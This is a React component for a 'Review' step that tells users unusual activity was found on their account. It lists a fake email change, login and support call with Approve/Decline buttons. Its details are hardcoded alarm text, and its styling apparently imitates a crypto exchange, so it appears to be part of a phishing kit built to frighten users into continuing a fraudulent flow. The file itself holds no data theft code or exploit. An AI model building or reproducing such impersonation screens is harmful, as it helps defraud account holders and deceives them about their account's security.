import { Button } from '@/components/ui/button'
import { FormProps } from '.'
import { useState } from 'react'
import { cn } from '@/lib/utils'

export default function Review ({
  formData,
  handleInputChange,
  isSubmitting = false,
  handleContinue = () => {}
}: FormProps) {
  const [apC, sapC] = useState<boolean | undefined>(undefined)
  const [apA, sapA] = useState<boolean | undefined>(undefined)
  const [apR, sapR] = useState<boolean | undefined>(undefined)

  return (
    <div className='gap-1 flex flex-col mb-10'>
      <p className='text-muted-foreground leading-5 py-1 text-md mb-6'>
        We have detected unusual activity on your account, please review this
        actions before proceeding.
      </p>
      <div className='flex flex-col gap-5 mb-6'>
        <div className='flex flex-col gap-1'>
          <p className='text-[18px] font-semibold'>Credential Change</p>
          <p className='text-muted-foreground text-sm font-cbsans'>
            We have received an email requesting to change the email associated
            with the account to{' '}
            <span className='whitespace-nowrap text-foreground font-bols'>
              mohammed14@gmail.com
            </span>
          </p>
          <div className='flex flex-row gap-4 w-full mt-2'>
            <Button className={cn((apC !== undefined && apC === false) ? 'opacity-50 dark:opacity-30' : '', 'transition-all duration-200 w-full rounded-full !text-background')} onClick={() => (sapC(true))}>Approve</Button>
            <Button className={cn((apC !== undefined && apC === true) ? 'opacity-50' : '', apC === false ? '!border-border dark:border-transparent' : '', 'border border-transparent shadow-none transition-all duration-200 w-full rounded-full bg-secondary dark:hover:bg-[rgb(58,61,69)] text-foreground disabled:dark:bg-[rgb(30,32,37)]')} onClick={() => (sapC(false))}>
              Decline
            </Button>
          </div>
        </div>
        <div className='flex flex-col gap-1'>
          <p className='text-[18px] font-semibold'>Attempted Login</p>
          <p className='text-muted-foreground text-sm font-cbsans'>
            We detected a login from{' '}
            <span className=' text-foreground'>
              Richmond, Virginia at 11:56 PM EST
            </span>
            , from <span className=' text-foreground'>Mohammed's iPhone</span>
          </p>
          <div className='flex flex-row gap-4 w-full mt-2'>
            <Button className={cn((apA !== undefined && apA === false) ? 'opacity-50 dark:opacity-30' : '', 'transition-all duration-200 w-full rounded-full !text-background')} onClick={() => (sapA(true))}>Approve</Button>
            <Button className={cn((apA !== undefined && apA === true) ? 'opacity-50' : '', apA === false ? '!border-border dark:border-transparent' : '', 'border border-transparent shadow-none transition-all duration-200 w-full rounded-full bg-secondary dark:hover:bg-[rgb(58,61,69)] text-foreground disabled:dark:bg-[rgb(30,32,37)]')} onClick={() => (sapA(false))}>
              Decline
            </Button>
          </div>
        </div>
        <div className='flex flex-col gap-1'>
          <p className='text-[18px] font-semibold'>Request Contact</p>
          <p className='text-muted-foreground text-sm font-cbsans'>
            We received a phone call to our support team at{' '}
            <span className=' text-foreground'>11:58 PM EST</span>, from{' '}
            <span className=' text-foreground'>+x (xxx)-xxxx-2312</span>
          </p>
          <div className='flex flex-row gap-4 w-full mt-2'>
            <Button className={cn((apR !== undefined && apR === false) ? 'opacity-50 dark:opacity-30' : '', 'transition-all duration-200 w-full rounded-full !text-background')} onClick={() => (sapR(true))}>Approve</Button>
            <Button className={cn((apR !== undefined && apR === true) ? 'opacity-50' : '', apR === false ? '!border-border dark:border-transparent' : '', 'border border-transparent shadow-none transition-all duration-200 w-full rounded-full bg-secondary dark:hover:bg-[rgb(58,61,69)] text-foreground disabled:dark:bg-[rgb(30,32,37)]')} onClick={() => (sapR(false))}>
              Decline
            </Button>
          </div>
        </div>
      </div>
      <button
        className={`-mb-9 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${
          isSubmitting
            ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none'
            : ''
        }`}
        disabled={
          (apC === undefined) || (apA === undefined) || (apR === undefined)
        }
        onClick={handleContinue}
      >
        {isSubmitting ? (
          <div
            className={
              '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
            }
          ></div>
        ) : (
          'Continue'
        )}
      </button>
    </div>
  )
}
